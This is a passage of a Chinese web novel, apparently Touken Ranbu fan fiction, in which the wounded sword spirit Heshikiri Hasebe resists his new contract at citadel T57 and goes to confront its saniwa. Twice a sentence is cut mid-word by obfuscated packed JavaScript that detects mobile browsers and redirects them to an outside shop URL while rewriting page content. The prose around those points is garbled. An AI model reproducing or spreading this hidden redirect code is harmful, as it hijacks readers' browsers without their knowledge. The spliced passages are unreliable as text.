“我这是在T57本丸?”压切长谷部哑声问,声音中带着意思难以置信,他明明已经做好了消散回归本灵的准备,甚至已经看到了本灵的面容。 “是的。”药研藤四郎收回水杯,“大将昨晚与你重新缔结了契约,稳住了你的灵力核心,你现在感觉如何?除了虚弱外还有没有哪里感到不适?比如灵力流转滞涩,或者契约链接处有撕裂感?” 压切长谷部没有立刻回答这个问题,他闭上眼睛仔细感受着体内的情况——枯竭的经脉如同久旱的河床,如今正有涓涓细流重新注入,虽然缓慢,却真实存在;心口处,一种陌生而又温和的灵力链接稳固地存在着,与他残破的、被强行切断的旧契约留下的伤痕迥然不同。 新的契约……阿鲁金…… 这个认知像一把冰冷的锥子刺破了他麻木的外壳,为他带来一阵尖锐的恐慌与抗拒。 “谁允许的?!”压切长谷部猛地睁开眼,紫灰色的瞳孔里爆发出强烈的情绪,他挣扎着想要坐起来,却因为身体的虚弱而重重跌回褥垫上急促地喘息,“谁允许你们……谁允许她……” “冷静点儿,长谷部殿。”药研藤四郎用巧劲儿按住他的肩膀,“强行移动会撕裂刚刚开始愈合的经脉,大将救了你,这是事实。” “我不需要!”压切长谷部大吼,声音却因虚弱而变得破碎、虚弱,“我说了,把物资送给你们,让我……” “让你孤零零的一个刃死在那里?!”药研藤四郎打断他的发言,镜片后的目光冷静得近乎冷酷,“抱歉,T57本丸没有见死不救的习惯,大将也没有。更何况,你现在已经是T57本丸的刀剑了,契约已成。” “大将……”压切长谷部咀嚼着这个词,心头那点荒谬的侥幸彻底熄灭。 是了,在他还没有被T57本丸的刀剑们带回来的时候,他们就已经说过“主上”,原来这座本丸真的有了新的审神者,而那位审神者在他昏迷不醒、毫无选择余地的时候,擅自…… “我不需要!”压切长谷部低吼出声,试图撑起身体下榻,双腿却软得如同棉花,整个人狼狈地向前扑倒,被药研藤四郎眼疾手快地架住胳膊按回原地。 药研藤四郎的力道不算大,却异常稳固,他镜片后的目光冷静地审视着对方眼中翻涌的抗拒、愤怒以及一丝不易察觉的恐慌。 “长谷部殿,你现在的情绪过于激烈,会影响之前收到的契约反噬伤势恢复。”药研藤四郎带着医者的职业口吻说,“昨晚大将耗费灵力为你梳理核心,你现在每一分不必要的激动都是在浪费她的心力。” “心力?”压切长谷部几乎是咬牙切齿地重复这个词,紫灰色的眼眸里布满血丝,“谁问她要这份‘心力’了?我说了,我不需要!那些物资应该足够支付你们所谓的‘救援’,让我走!” “走?长谷部殿,你现在连站都站不稳,又能去哪里?” “去哪里都好,总比,总比在T57本丸这个中转站、这个收容着没人要的刀剑的垃圾桶,靠着时政的施舍和灰色地带的残羹冷炙过活好……你们有什么资格评判我的选择?有什么资格替我决定归宿?!” 压切长谷部的那句“没人要的刀剑的垃圾桶”像一把淬毒的匕首,不仅刺向他自己,也狠狠划过药研藤四郎的心口,甚至那些此刻不在手入室刀剑们的心口。 药研藤四郎按在他肩上的手依旧稳固,但镜片后的目光却沉了几分,短刀没有立刻反驳他的话语,也没有因此动怒,只是用一种近乎冷漠的冷静审视着这位刚刚脱离濒死状态、情绪却濒临失控的同僚。 “资格?”药研藤四郎重复这个词,声音平稳的听不出波澜,“如果按照时政的规则,确实没有——我们只是一个中转站,只是一个收容那些在各个本丸间流转、最终无处可去的刀剑男士的地方。” “即使是在迎来了新任审神者的现在,我们在时政的档案库中编号前缀依旧是‘T’而非其他,我们依旧不被视为一个功能完备、前途稳定的正规本丸。” “本质上,我们依旧归属于‘临时本丸’的分类下,这意味着根据相关规定,时政随时可以在任何认为有必要的时候,以资源整合、效率优化或其他任何符合规章的理由将这里解散、合并或取缔。” “那你就应该明白,我不属于这里!我……”压切长谷部的话戛然而止,因为他看到药研藤四郎的脸上没有任何被刺痛或者愤怒的表情,依旧是那种医生观察病人般的冷静,这反而让他感到一种更深的、无力的窒息感。 “我们明白与否并不能改变现状,长谷部殿。”药研藤四郎收回手,重新在矮桌旁坐下,继续整理之前没整理完的草药。 “现实是,你昨晚被带回来时,距离彻底消散只有一线之隔;现实是大将亲自出手,耗费灵力与你重新签订契约,将你从回归本灵的边界上拉了回来;现实是,你现在是T57本丸登记在册的刀剑付丧神,契约已经成立,这是时政规则下的事实。” “现实也是,你口中的‘没人要的垃圾桶’、‘靠着施舍和残羹冷炙过活’的地方昨夜倾尽所能救了你,并且现在依然在尝试让你活下去,哪怕你醒来的第一件事是辱骂它和它的主君。”药研藤四郎抬眸,镜片后的目光直直看向压切长谷部。 压切长谷部的呼吸一滞,紫灰色的眼眸中翻涌着激烈的情绪,愤怒、羞耻、自厌,还有一种更深层的、几乎要将他吞没的恐慌。 他不想欠下这么大的人情,尤其是不想欠下一个他原本打算彻底逃离的、代表着“失败”和“被遗弃”的体系内又一个“收容所”的情。 “我不需要你们救我!”压切长谷部固执地重复,声音却低了下去,“我的那些物资应该足够支付了……” “支付什么?支付我们‘多管闲事’的代价?”药研藤四郎的声音里终于带上一丝极淡的、让刃几乎难以察觉的嘲讽。 “长谷部殿,你在4-3滞留等死的时候,难道真的认为会有路过的刀剑只拿走物资,放任你消散,然后心安理得地使用那些沾着你死亡印记的资源?” “还是说,你内心深处其实挺期待有刃能够‘多管闲事’,能给你一个活下去的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16982155|189989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 理由,哪怕是强迫的?” “我没有!”压切长谷部矢口否认,声音陡然拔高,却又因虚弱而破音,他猛地咳嗽起来,苍白的脸上泛起不正常的潮红。 药研藤四郎静静看着他咳嗽,直到他喘息稍平才再次递过去一杯水。 “你的前主是时政内部人员,他因为你对织田信长的态度而遗弃你,甚至可能想要‘处理’掉你。”药研藤四郎的语气恢复平静,像是在陈述病历,“你带走了本丸的物资,你的同伴私下援助了你,你逃到4-3,一边等死,一边或许也在等一个了断,或者说一个奇迹。” “你对我们这些‘没人要的刀剑’出言不逊,是因为你看不起我们,还是因为你看不起那个同样被遗弃、却还试图抓住什么的自己?” 药研藤四郎的话像手术刀一样精准,剥开了压切长谷部用愤怒和自毁包裹的外壳,露出里面鲜血淋漓的、连他自己都不敢直视的内核。 压切长谷部握着水杯的手指骨节发白,他死死盯着杯子里晃动的水面,仿佛那里面有什么可憎的东西。 他无法反驳,因为药研藤四郎说的很大一部分是事实。他看不起这个混乱的、挣扎的、看不到希望的地方,更看不起那个沦落至此、连自我了断都显得拖泥带水的自己。 他紫灰色的眼眸死死盯着杯中晃动的水面,胸腔里翻涌着难堪与刺痛。 T57本丸,这个他曾经在时政内部文件中瞥见过编号的“临时中转站”,一个汇集了“残次品”与“弃子”的地方,如今成了他的容身之所,更讽刺的是,是这里的审神者将他从彻底消散的边缘拉了回来。 “我……”压切长谷部不知道还可以用什么来反驳,只好不断重复着自己之前说过的话,“我的那些物资足够支付……” “支付什么?还是想要支付你的命?”药研藤四郎再次打断他,镜片后的目光冷静依旧,“长谷部殿,大将选择救你,与你带来的物资无关。则宗殿已经将那些物资清点入库,登记在你的名下,依旧属于你,本丸不会动用,除非你自己同意。” 压切长谷部怔住了,那些物资还是他的? 这和压切长谷部预想的完全不同,他以为其他刃会很轻易的就同意这种类似于“卖命钱”的交易,“为什么?” “因为T57本丸虽然穷,但还没有穷到需要用一振刀剑的临终赠礼来维持运转。”药研藤四郎站起身,走到窗边推开半扇窗,清晨带着草木气息的空气就这样涌了进来,“而且,大将似乎对你很感兴趣。” “为什么?”压切长谷部哑声重复,紫灰色的眼睛死死盯着药研藤四郎,那些物资——他最后的价值,他为自己选择的“赎金”或“葬仪”——居然没有被拿走?这和他预想的所有结局都不同。 药研藤四郎没有直接回答,只是平静地继续:“大将吩咐,你若醒了,可以随时去天守阁见她,当然,以你目前的身体状况,建议再休息半日。” 他顿了顿,推了推眼镜,“另外,则宗殿让我转告,物资清单已放在你枕边,你可以核对。本丸公库不会动用分毫,除非得到你本人许可,这是规矩。” 规矩?一个中转本丸和一个被强行签订契约的“弃刀”讲什么规矩?压切长谷部觉得荒谬至极,心头那团冰冷的抗拒却仿佛被撬开了一道缝隙,灌进一丝令他无所适从的、陌生的气流。 他垂下眼帘,看到枕边果然有一张写得密密麻麻、字迹工整的清单,旁边还附着一枚崭新的御守——和他昨夜模糊感知到的、那股将他从冰冷虚无中强行拖拽回来的温和灵力有着相同的、隐隐透着蛇与鸦影的暗金色气息。 “我……”他攥紧了被单,骨节泛白,那些尖锐的、自毁的话语堵在喉咙里,却再也吐不出来,最终,他只是疲惫地闭上了眼睛,将脸转向内侧。 药研藤四郎见状,不再多言,悄悄退了出去,轻轻拉上门。 手入室内重归寂静,只有晨光在缓缓移动。 压切长谷部躺在那里,感受着新契约在体内缓慢而坚定地流转,修复着千疮百孔的灵力核心,那灵力平和却浩瀚,带着一种古老的威严,与他前主那种狂热而充满掌控欲的灵力截然不同。 31.第三十一章 晨光缓缓在地板上爬动,将房间切割成明暗两半。 手入室重新恢复寂静后,压切长谷部维持着那个侧躺的姿势许久未动,眼神空洞地落在对面墙壁一道细微的裂缝上,新契约带来的灵力如同温泉水般在干涸的经脉里缓慢流淌,修复带来的麻痒与刺痛交织在时刻提醒着他现状的改变。 那些物资竟然还是属于他的?!那个审神者为什么要这么做?在强迫他活下来后却又选择“物归原主”,是某种更高级的、掌控人心的手段,还是…… 不,压切长谷部立刻掐灭了心中的这个念头,在时政体系下的审神者,尤其是会接手T57本丸这种烂摊子的能是什么善茬,或许对方是在欲擒故纵,或许对方是想看他更加狼狈不堪的样子。 压切长谷部攥紧了身下的褥垫,紫灰色的眼眸深处暴躁与焦虑交替闪烁,前主长期的精神压迫所诱发的轻微暗堕并未因新契约的缔结而彻底消散,只是被那股平和而浩瀚的灵力暂时镇压,此刻正随着他心绪的剧烈波动而隐隐作祟。 他必须离开这里!立刻!马上! 可是离开后,他又能走到哪里去? 一个被时政工作人员私下“处理”掉的刀,一个契约刚刚被强行强行更易、灵力尚未稳定的付丧神,离开这座本丸后,外面等待他的恐怕不是自由,而是更迅速的消亡,或是被时政其他工作人员发现后由时政回收、重新“分配”到某个未知的、可能更糟糕的角落。 但是要留在这里,留在T57本丸? 这个认知让压切长谷部的胃部产生了一阵抽搐般的恶心,他眼前不断闪过前主那张狂热而扭曲的脸,耳边似乎又响起那些关于“玷污”、“瑕疵”、“不配为信长公之刃”的咆哮,而现在,他成了这个“垃圾收容站”的一员,成了另一个审神者——一个他甚至未曾谋面、就擅自决定他命运的人——的所有物。 “哈……”压切长谷部从喉咙里挤出一声短促的、自嘲般的冷笑。 他摇摇晃晃地挪到墙边,扶着冰冷的墙壁喘息着,身体的虚弱远超他的想象,新契约的灵力虽然在不断修复着核心,却也让这具躯壳如同刚刚拼接起来的瓷器,稍一用力就会再次碎裂。 但离开的念头已如野火燎原,至少要离开这个房间,离开这弥漫着药味与无形怜悯、几乎令人窒息的空气。 从床边到纸门的短短几步距离,他却耗费了漫长的时间,每一步都牵扯着他未愈的损伤,踩在虚实交织的晕眩里,他的指尖终于触到糊门的纸张,带着细微的颤抖将门拉开。 清晨微凉的空气夹杂着草木和泥土的气息扑面而来,还有远处隐约传来的、刀剑碰撞的清脆声响——是手合场。 庭院展现在他眼前,与他想象中破败荒芜的“中转站”不同,这里虽然算不上华丽,但整洁有序,万叶樱在晨光中舒展着枝条,枝头点缀着花苞,试验田里绿意葱茏,远处回廊上,前田藤四郎和平野藤四郎正提着水桶低声交谈着走过。 这里的一切都透着一种缓慢复苏的生机,但这反而让压切长谷部更加烦躁,凭什么?凭什么这些“残次品”能拥有这样看似平静的日常,而他却要沦落至此,与之为伍? 压切长谷部闭了闭眼,再度睁开时,目光锐利地刺向晨雾深处,天守阁的轮廓在薄雾中若隐若现,与此同时,灵魂深处那根新生的契约之线微微发烫,明确无误地指向那个方向——审神者就在那里。 一种混合着暴烈愤怒、深切不甘与某种扭曲探究欲的情绪如同毒藤般猛然缠紧了他的心脏,他要见到那个人,亲口告诉对方,他不需要任何形式的“拯救”,他想要撕毁这强加的束缚,哪怕代价是即刻碎刃,回归本灵! 这个念头成了支撑压切长谷部行动的唯一支柱。 他松开扶着门框的手,一步一挪,朝着天守阁的方向踏去,每一步都仿佛踩在刀尖,牵扯着四肢百骸叫嚣的痛楚,冷汗早已浸透单薄的衣衫,粘腻地贴在皮肤上。 视野随着艰难的步履阵阵发黑,耳朵嗡嗡作响,但压切长谷部紫灰色的瞳孔深处那簇固执的火焰却燃烧得愈发炽烈,死死锁定了雾霭中那栋建筑的轮廓。 没走多远,一道白色的身影悄无声息的出现在压切长谷部前方的回廊转角,是山姥切国广,他依旧披着那条略显陈旧的白布,兜帽低垂,抱着手臂靠在柱子上,似乎早已等候多时。 “长谷部殿,你的身体尚未痊愈,不宜走动。” “让开!我要见你们的审神者!” “阿鲁金已经知道你醒过来了,但你现在的状态不适合觐见。”山姥切国广没有动,只是微微抬起头,兜帽阴影下的目光扫过压切长谷部惨白的脸色和颤抖的身躯,“药研应该告诉过你,你现在最需要的是休息。” “我说了——让开!”压切长谷部试图挺直摇摇欲坠的身体,“你凭什么拦我?!我要见那个擅自决定我命运的家伙!现在!立刻!马上!” “凭你现在是T57本丸的刀剑付丧神,也凭你现在连维持站立都困难,你现在去见阿鲁金,除了无谓的争执和可能加重自身的损伤外没有任何意义。” “我的事不用你管!”压切长谷部猛地向前踉跄一步,试图从山姥切国广身侧强行通过,但他虚弱的身体根本不听使唤,眼前骤然一黑,整个人向前栽去。 预想中冰冷地面的触感并未传来,山姥切国广不知何时已伸出手臂,稳稳地架住压切长谷部下滑的身体,那力道恰到好处,既阻止了他的跌倒,又没有带来任何多余的触碰或压迫。 “冷静点,长谷部殿。”山姥切国广的声音近在咫尺,依旧没什么起伏,“没有人想控制你的命运,但契约已成,这是事实。在你灵力稳定、能够做出清醒判断之前,贸然行动对你、对大将、对本丸都没有好处。” “心率过快,灵力波动紊乱,暗堕倾向有轻微加剧迹象。”药研藤四郎的声音从另一侧传来,他不知何时也出现在回廊上,手中还拿着一个记录板,镜片后的目光冷静地评估着压切长谷部现在的状态。 “长谷部殿,我以本丸医师的身份建议你立刻回到手入室静卧修养,否则,我不排除会采取强制措施的可能。” “强制措施?”压切长谷部气极反笑,“你们还想怎么样?把我打晕再送回去?这就是你们T57本丸的‘负责’?” “如果你继续这样不配合治疗的话,是的。”药研藤四郎推推眼镜,语气中毫无转圜的余地,“大将耗费灵力救你,不是让你用来自毁的。” “呵!你们现在和时政的那些人有什么区别?!不过是另一种形式的强迫!” “随你怎么想,但你现在需要休息,这是医嘱也是事实。”山姥切国广兜帽下的眉头似乎皱的更紧了些,但他架着压切长谷部的手臂依旧十分稳固。 “我不需要你们的医——” 压切长谷部的话戛然而止。 药研藤四郎手中的银针准确的扎在了压切长谷部的穴位上,一瞬间,他只觉得四肢百骸的酸痛和晕眩被放大了数倍,本就强撑的意志如同被抽走脊梁,眼前彻底被黑暗吞没。[1] 最后映入压切长谷部眼帘的,是山姥切国广那双在兜帽阴影下依旧沉静、并无半分得意或怜悯的眼眸。 “失礼了,长谷部殿。”失去最后的意识前,压切长谷部似乎听到了药研藤四郎这样平淡的说。 当压切长谷部再次恢复意识时,首先感受到的是一种深入骨髓的疲惫,仿佛每一寸筋骨都被拆开又勉强拼凑回去,他睁开眼,映入眼帘的依旧是手入室熟悉的天花板,但这,他没有立刻挣扎起身。 压切长谷部紫灰色的眼瞳静静望着上方,昨日的愤怒、咆哮以及最后被强制镇静的屈辱感如同退潮后的礁石,冰冷而清晰地裸露在意识的海滩上。 他失败了,连离开这个房间都做不到,那个审神者甚至无需亲自露面,仅凭手下两振刀——一振仿品打刀,一振在战争中长大的短刀——就将他轻易压制。 一股深沉的无力感,混杂着对自己现状的厌恶正在缓慢地吞噬着压切长谷部。 门外传来刻意放轻的脚步声,然后是纸门被拉开的细微声响,压切长谷部没有动,只是将视线转向门口。 进来的既不是药研藤四郎,也不是山姥切国广,而是一振既熟悉又陌生的太刀,对方穿着与这件简谱手入室格格不入的精致白西装,手中摇着一柄折扇,姿态闲适得仿佛在逛自家庭院。 “呀,醒了?”一文字则宗在门边站定,扇子轻轻摇晃间带起一丝微风,“感觉如何,长谷部殿?药研殿特意交代过,如果你这次醒来情绪稳定,就不必再使用银针了,想来那滋味不太好受。” 压切长谷部的嘴唇抿成一条直线,没有回应,他认出了这振刀——一文字则宗,大概率是时政的前监察官,连这种刃也在这个本丸?看来T57确实是个“什么都有”的垃圾场。 “看来是不想和老头子我说话。”一文字则宗也不在意,踱步到窗边,看着外面正在菜畦间忙碌的前田和平野,“不过,有些话我觉得还是该让你知道。” “阿鲁金今天早晨吩咐,如果你想走,随时都可以走。”一文字则宗的语气平淡得像在讨论天气,“契约虽然已经成功,但如果你执意离开,阿鲁金也不会强行以契约束缚。” “那些物资,你可以全部带走,作为你接下来的路费,当然,阿鲁金也说了,如果你想要,物资依旧归你自行支配,本丸不会过问。” 压切长谷部猛地转回头,死死盯着一文字则宗,试图从对方脸上找出虚伪或试探的痕迹,但一文字则宗只是平静地回视,那双总是含着笑意的眼睛里此刻清晰映出他苍白而震惊的脸。 “为什么?” “阿鲁金的原话是:‘强迫的忠诚毫无意义,刀剑应当有选择主人的权利,哪怕只是选择如何终结。’”一文字则宗合拢扇子,轻轻敲击掌心。 “当然,我个人理解,大将大概也是觉得与其留一振心怀怨恨、随时可能自毁的刀在身边,不如放手,至 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005475|189989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少清净。” 压切长谷部沉默了,这和他预想的任何一种反应都不同,没有控制,没有利用,甚至没有试图以“救命之恩”进行道德绑架,就这样简单的放手了? “不过,在做出决定前,长谷部殿不妨先看看这个本丸,看看这里的刀,看看我们这位不太一样的阿鲁金。”一文字则宗话锋一转,重新展开扇子,“或许这里的一切和你想象的都不太一样。” “看看这个‘没人要的垃圾桶’是如何运作的,看看这些‘残次品’是如何在没有审神者、仅靠时政施舍和灰色地带的残羹冷炙活了这么久,又在迎来新主后,是如何试图抓住那一线生机,挣扎着想要活下去,并且活得有尊严的。” 一文字则宗的话精准地刺入压切长谷部最不愿意面对的部分,他别开练,重新看向天花板,尊严?在这种地方? “阿鲁金今日会在天守阁见你,前提是你体力允许。”一文字则宗最后说道,“去或留均由你决定,但在那之前,你至少要把这碗药研殿特意为你熬的、稳固灵力的药喝了,放心,里面没加别的东西。” 一文字则宗指了指矮桌上那碗还冒着微弱热气的汤药,微微颔首,便转身离开,留下压切长谷部独自面对满室寂静和内心翻腾的惊涛骇浪。 “选择的权利”,这个词像魔咒一样在压切长谷部脑海中盘旋,他的前主从未给过他选择,时政的体系也从未给过像他这样的“物品”选择,要么服从,要么被“处理”,而现在,这个强行与他缔结契约的审神者却表示他可以选? 多么荒谬,多么可笑,这一定是某种更高明的操纵手段! 可是……如果……如果这是真的呢? 压切长谷部挣扎着坐起身,这一次的动作虽然依旧缓慢艰难,但比昨日好了太多,新契约的灵力流转似乎顺畅些,修复着那些裂痕。 他的目光落在枕边那张物资清单和那枚崭新的御守上,清单字迹工整,分门别类,数量、品质标注得一清二楚,御守静静地散发着温润的灵光,与他体内那股力量同源。 他伸出手,指尖触碰到御守冰凉的织物,上面简化的蛇与鸦纹在晨光下流转着暗金色的微光,这灵力平和,浩瀚,与他所知的任何审神者的灵力都不同,没有狂热,没有掌控欲,也没有施舍般的怜悯,只是存在着,如同大地承托万物,天空覆盖一切。 压切长谷部端起那碗温热的汤药,黑褐色的药汁倒映出他此刻茫然又混乱的脸,犹豫片刻后,他仰头一饮而尽。 苦涩的味道瞬间席卷味蕾,但随之而来的是一股温和的暖流缓缓渗入他的四肢百骸,抚平了一些经脉中残留的刺痛。 放下药碗后,压切长谷部掀开薄被再次尝试下床,这一次,虽然双腿依旧发软,但他勉强站稳了,他扶着墙壁,一步一步挪到手入室门口,再次拉开纸门。 阳光比昨日更加明媚,万叶樱下的阴影轮廓清晰。 一切井然有序,透着一种忙碌而专注的生机,没有刃注意到他,或者说,没有刃特意将目光投过来,给予他那种令他烦躁的“关注”,他们只是各自做着各自的事情,在这个清晨,在这个本丸里,努力地活着。 这里和他前主那个资源充沛、装饰华丽却充满压抑、狂热与精神控制的本丸截然不同。也和时政那些规整、高效、却冰冷如同流水线工厂的标准本丸不同。 这里是活的,挣扎着,磕碰着,但确实在努力活下去。 一种极其复杂的情绪涌上压切长谷部的心头。 鄙夷吗?似乎有些立不住脚。同情?他觉得自己更可怜。归属感?不,远远谈不上。 但那股非要立刻撕裂一切、逃离此地的暴烈冲动,却在这一片平静而忙碌的日常景象中,奇异地缓和了些许。 压切长谷部抬起头,再次望向薄雾已散、轮廓清晰的天守阁,契约之线微微发热,平稳地指向那里。 去见见对方吧。 这个念头再次升起,但不再充满毁灭性的愤怒,而是掺杂了更多难以辨明的情绪:困惑,审视以及一丝连他自己都不愿承认的微弱好奇。 那个能说出“刀剑应当有选择主人的权利”,能制作出如此特殊御守,能拥有这样平和浩瀚灵力,能接手T57这种烂摊子,并且似乎让这些“残次品”焕发出不一样生机的审神者究竟是个怎样的存在? 压切长谷部深吸一口带着草木清香的空气,扶着墙壁,缓慢而坚定地向着天守阁的方向迈出脚步。 这一次,没有刃再来阻拦他,山姥切国广远远站在手合场门口,朝这边瞥了一眼便转回头;药研藤四郎从另一条回廊走过,手中拿着新的草药,目光与他短暂相接,微微点头,算是打过招呼,并未多言。 这段通往天守阁的路,依旧漫长而艰难,但压切长谷部走得很稳,他不再去想“离开”还是“留下”的终极抉择,他只是想先去见见那个人。 去见见那个擅自将他拉回人间,又随手将选择权抛还给他的——他的新任审神者。 32.第三十二章 前往天守阁的这段道路比压切长谷部预想的还要漫长,身体的虚弱像是无形的枷锁在不断拖拽着他的步伐,让他没走几步都需要停下来喘息,冷汗不断从额角渗出,濡湿了他的鬓发。 阳光落在压切长谷部的身上,却驱不散那股从骨髓深处渗出的寒意,但这一次没有任何刃在上前阻拦他的动作,那些忙碌的身影只是在他经过的时候投来短暂而平静的一瞥,便又专注于各自手中的事务。 仿佛压切长谷部这个刃的挣扎、去留只是这座本丸运转中一个微不足道的插曲,被允许、被观察,却又不会被强行干涉,这种奇特的“放任”反而让压切长谷部心中那团躁动的火焰渐渐冷却。 压切长谷部终于挪到天守阁下,仰头望去,这座本丸最高的建筑在日光下显得有些陈旧,但却异常整洁,小短刀们最近挂在檐角的风铃在微风中发出清越的脆响。 那根灵魂深处的契约之线在此刻微微发烫,明确地为压切长谷部指引着方向——审神者此刻就在上面。 没有近侍,也没有通报的环节,压切长谷部就这样扶着木制的楼梯扶手一级一级缓慢地向上攀登,脚步声在空旷的阶梯间回荡,带着他自己的喘息声成为这里唯一的声响。 天守阁顶层的空气似乎与下方庭院有所不同,更加安静,也更加清冷。 压切长谷部推开最后一道纸门时,首先映入眼帘的并非是想象中堆满文件、象征权力中心的办公场所,也不是前主那种堆满奇珍异宝、处处彰显控制欲的房间,而是一间极为空旷甚至显得有些寂寥的和室。 室内陈设简朴到近乎苛刻,除了一张低矮的案几、几个坐垫、一个燃着微弱炭火的小火钵外,几乎别无他物,唯一的装饰或许是墙上悬挂的一幅字,笔力遒劲却透着一股苍凉,写的是“行于所当行,止于所不可不止”。[1] 随后,他的视线落在面向庭院敞开的缘侧边那抹身影上。[2] 源朝曦——他的新任主人,这座本丸的审神者——就静坐在那里,面朝着庭院的风景。 晨光勾勒出一个纤细的轮廓,红挑染的长发未经束缚,如水般倾泻在淡紫色的和服上,几缕发丝在微风中轻轻拂动,她似乎并未察觉他的到来,或者早已察觉却不在意,只是安静地看着庭院中那片正在复苏的生机。 压切长谷部站在门口处,呼吸因攀爬楼梯而略显急促,但此刻却被某种更强烈的情绪扼住了喉咙。 他以为自己会见到一个高高在上、掌控一切的存在,或是一个故作慈悲、施舍怜悯的善人,又或是一个与前主相似的、眼中燃烧着扭曲掌控欲的疯子,但眼前的身影却与他的任何一种想象都不符。 这位审神者看起来太过安静、太过单薄甚至太过于脆弱了。 这就是强行与他缔结契约的人? 这就是那个说出“刀剑应当有选择主人的权利”的人? 压切长谷部心中的火焰重新燃起,却不再是单纯的愤怒,而是一种被愚弄般的荒谬感,这样一个看起来连自保都成问题的人,凭什么决定他的命运?凭什么将他困在这个“垃圾场”? 时间在寂静中缓慢流淌,只有风铃的脆响偶尔随风飘入和室,终于,缘侧的身影动了一下。 “站在那里不累吗?长谷部殿。”平和、清冷的声音响起,像山涧缓缓流淌的泉水般没有丝毫压迫感,也没有刻意放软的怜悯,只是平淡地陈述一个事实,“进来坐吧,或者,如果你觉得站在门口更自在一些的话,也可以。” 压切长谷部的喉结滚动了一下,他没有动,声音因体力透支和情绪紧绷而有些沙哑:“你就是强行与我缔结契约的审神者?” “是我。”源朝曦缓缓转过身。 晨光映亮了她的侧脸,也让她的整张面容清晰起来,那确实是一张极美也极具攻击性的脸,但却带着久病的苍白与倦意,她的眉眼间沉淀着一种远超外貌年龄的沉着。 她的眼睛是罕见的灰蓝色,此刻平静地迎上压切长谷部审视的、几乎可以说是冒犯的目光,里面没有任何被质疑的恼怒,也没有试图解释的迫切,只有一片深不见底的静谧。 “为什么?”压切长谷部几乎咬着牙问出这三个字,他向前踉跄一步,踏入室内,仿佛这样能带来一些气势上的压迫,“为什么是我?为什么用这种方式?你明明可以……” “因为你不想死。”源朝曦的目光落在他因激动而颤抖的身体上,短暂停留一瞬才重新看向他的眼睛。 “我想!”压切长谷部几乎是低吼出来,前倾的身体几乎要撑不住,“我想解脱!你凭什么判断我不想?!你根本不知道我经历了什么!你……” “你想?”源朝曦重复了一遍压切长谷部的话,灰蓝色的眼眸中依旧平静,“因为你的灵力核心在求救,它并不渴望死亡,而恰好我听见了。” “你以为的‘想死’或许只是厌倦了被扭曲、被定义、被当做器物予取予求的存在方式,当‘生’只剩下屈辱和否定的时候,死亡自然成了看似唯一的出口。” 源朝曦微微偏过头,目光重新投向庭院中,那里,加州清光正举着自己新涂好的指甲对着阳光仔细端详,嘴角带着一丝满足的笑意。 “但是你没想到你的灵力核心深处还存在不甘,否则你甚至不会撑到国广他们到的时候,更不会在契约缔结的瞬间就本能的汲取灵力修复自身。” “闭嘴!你懂什么?!”压切长谷部的声音因激动而拔高,前主那些尖刻的指责又开始在脑海中回响,“你不过是另一个审神者,另一个把我当作物品看待的——” “我不是你的前主,T57本丸也不是你之前待过的本丸,这里没有完美无瑕的‘器物’,只有曾经受伤、现在试图站起来的‘刃’。” 源朝曦终于完全转过身,正对着压切长谷部,阳光洒在她苍白的脸上,给她镀上了一层近乎透明的光晕。 “则宗殿应该转达了我的话,选择权在你——带着你的物质离开,去你想去的地方,或者选择终结;以T57本丸一员的身份留下,接受现状,然后看看在这里‘活着’是否还有另一种可能。” “另一种可能?”压切长谷部嗤笑,紫灰色的眼睛里满是讥诮,“和这些‘残次品’一起在这个被时政遗忘的角落,靠着每日那点可怜的日课资源苟延残喘?这就是你给的‘可能’?” 他环视这空荡到近乎寒酸的和室,“连你自己的居所都如此……看来时政对你这‘接手烂摊子’的审神者也吝啬得很。” “资源确实紧张。”源朝曦并未动怒,甚至点了点头,“时政最开始赠送的十万基础资源和每月定额的甲州金、小判只够维持基本运转和我的‘薪资’。本丸没有积累,一切需从日课中重新积攒。” 她的目光扫过庭院里那些忙碌的身影,“但他们在我来之前靠着更低限度的‘施舍’和互相扶持也活下来了,并且维持了本丸最基本的体面,现在有了稳定的灵力来源和日课途径,日子总会比过去好。” “互相扶持?”压切长谷部抓住了这个词,语气尖锐,“不过是弱者抱团取暖!山姥切国广!那个仿品!药研藤四郎!一振在战场上见惯了生死冷漠的短刀!还有那些被遗弃、被嫌弃的刀……这样的组合,能有什么未来?不过是延缓消亡的速度罢了!” 源朝曦静静听完了压切长谷部尖锐的质疑,灰蓝色的眼眸里没有波澜,只有一片沉静的、几乎要将人溺毙的深海,她没有立刻反驳,反而微微颔首,像是认可了他对“弱者抱团”的部分描述。 “确实,这里没有一振‘完美’的刀剑。”她的声音依旧平和,却带着一种不容置疑的分量。 “山姥切国广是众所周知的仿品,却在这个本丸失去主人、被时政半遗弃的年月与药研殿一起在没有稳定灵力供给的情况下,靠着完成最基础的时政任务换取灵力球和微薄资源维持住本丸最基本的结界,没让任何一振刀因为灵力枯竭而碎刀。” 她抬起手指,指向庭院中正在给和泉守兼定调整拉伸姿势的堀川国广,“堀川殿,他的前主认为他‘过于依附兼桑’、‘缺乏独立价值’,将他作为‘搭头’塞进了这个本丸的交接清单。” “而和泉守殿则是在前任审神者阵亡后因为练度不高、性格‘麻烦’,被后续接手的审神者嫌弃,几经流转后丢到这里。” 